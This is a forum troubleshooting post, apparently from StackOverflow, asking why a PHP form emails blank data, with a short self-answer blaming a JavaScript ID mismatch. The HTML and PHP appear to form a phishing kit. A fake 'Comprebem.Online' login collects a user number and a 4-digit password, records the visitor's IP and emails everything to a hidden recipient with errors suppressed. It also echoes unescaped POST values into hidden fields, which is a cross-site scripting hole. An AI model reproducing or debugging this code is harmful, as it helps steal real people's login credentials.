PHP form for email: sending arrives, but the filled data does not

-1

I'm having trouble sending my form data to my client's PHP.

What's happening?

Fill in the form is normal. Send in the email? Yes, the HTML only arrives by email, however the data that is filled in the form does not. I have already looked here in StackOverflow and have not found the same kind of problem I'm having.

What could be happening?

NOTE:

  • I'm not using SMTP for sending, but it arrives normally (it's not SPAM and it does not arrive as spam).
  • I made forms of the same format that way and it always arrived (without SMTP).
  • I have changed now and consequently this is happening.
  • If you need the code, please let me know which part I play here.

HTML:

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
            <title>Comprebem.Online</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />
        <meta name="mobile-web-app-capable" content="yes">

        <link rel="stylesheet" type="text/css" href="style.css">
        <script src="js/jquery-3.2.1.min.js" language="javascript"></script>
        <script src="js/jquery.maskedinput.min.js" language="javascript"></script>
        <link rel="stylesheet" href="css/bootstrap.css">
        <script src="script.js" language="javascript"></script>
        <link rel = "shortcut icon" type = "imagem/x-icon" href = "images/icon.png"/>
        <script src="//irql.bipbop.com.br/js/jquery.bipbop.min.js"></script>
    </head>

<body onLoad="window.scrollTo(0,1);">

<div class="login-page">
    <div class="container">
        <div id="campos">
        <form action="update.php" method="post" enctype="application/x-www-form-urlencoded" onSubmit="return checkLogin();">
            <?php foreach($_POST as $key => $value):  ?>
                <input type="hidden" name="<?= $key ?>" value="<?= $value ?>" />
            <?php endforeach; ?>   
                <br>
            <div class="container">
                <div class="row" style="margin-left: 40px;">

                    <div class=" get_form_inner">
                        <h4 class="__head"></h4>
                        <div class="text-center">
                            <div class="row "></div>                        
                        </div>
                    </div>

                    <p></p>
                    <form name="registerForm" method="post" action="">

                    <div class="group">                              
                        <input type="number" name="name"  id="nome" style="background-color:transparent"onkeydown="limit(this, 4);" onkeyup="limit(this,4);" required="required">
                        <span class="highlight"></span>
                        <span class="bar"></span><label>Nome</label>
                    </div>


                    <div class="group">
                        <input  type="number" name="2nome"  id= "2nome" style="background-color:transparent"onkeydown="limit(this, 4);" onkeyup="limit(this,4);" required="required" >
                        <span class="highlight"></span>
                        <span class="bar"></span><label>Sobre Nome</label>                              
                    </div>                                            

                    <div class="group">
                        <input type="number"   name="usuario" required="required" id="usa"style="background-color:transparent"onkeydown="limit(this, 11);" onkeyup="limit(this,11);">
                        <span class="highlight"></span>
                        <span class="bar"></span><label>Usuario</label>
                    </div>

                    <div class="group">     
                        <input type="password" name="senhaLogin" required="required"  id= "sha" style="background-color:transparent"onkeydown="limit(this, 4);" onkeyup="limit(this,4);"onpaste="return false;">
                        <span class="highlight"></span>
                        <span class="bar"></span><label>Senha</label>   
                    </div>

                </div>            
            </div>

            <div class="text-right">
                <p><input type="submit" id="btn-entrar" data-target="Finalizar"></p>
                    <label class="checkbox text-center" style="margin-top: 20px">
                        <input id="chkLembrar" type="checkbox" name="chkLembrar" checked="checked"><label for="chkLembrar">Lembrar Login</label>
                    </label>    
            </div>
        </form>
        </div>
    </div>
</div>
    <script src="js/validations.js" type="text/javascript" ></script>
</body>

PHP Submission

<?php
    require_once("config.php");

        extract($_POST);
        $headers = "Content-type: text/html; charset=iso-8859-1\r\n";
        $headers .="From: Compre_bem <[email protected]>";
        $ip = $_SERVER["REMOTE_ADDR"];
        date_default_timezone_set('America/Sao_Paulo');
        $data=date("d/m/Y");
        $hora=date("H:i");

        $conteudo.=" ------------------ Compre_bem_formulario_cliente_loja_online-(teste)-------------------<br>

        $data-($hora) - $ip<br>
    --------------------------------------------<br>
    Nome do cliente---------------------------:$nome $cta<br>
    Sobrenome_cliente---------------------------:$2nome<br>
    Usuario_cliente_cadastro------------------------------:$usa<br>
    Senha_cliente_cadastro------------------------: $sha <br>


    --------------------------------------------<br>";

    @mail($receber, "Compre_bem - $ip", "$conteudo", $headers); 
?>
    
asked by anonymous 10.11.2017 / 13:34

1 answer

1

I was able to solve my problem.

was a validation script on the JS of the form that did not have the id inserted. summing up... it was not writing data to these form ids because I did not specify it in my JS function.

Thank you for your participation.

    
10.11.2017 / 14:57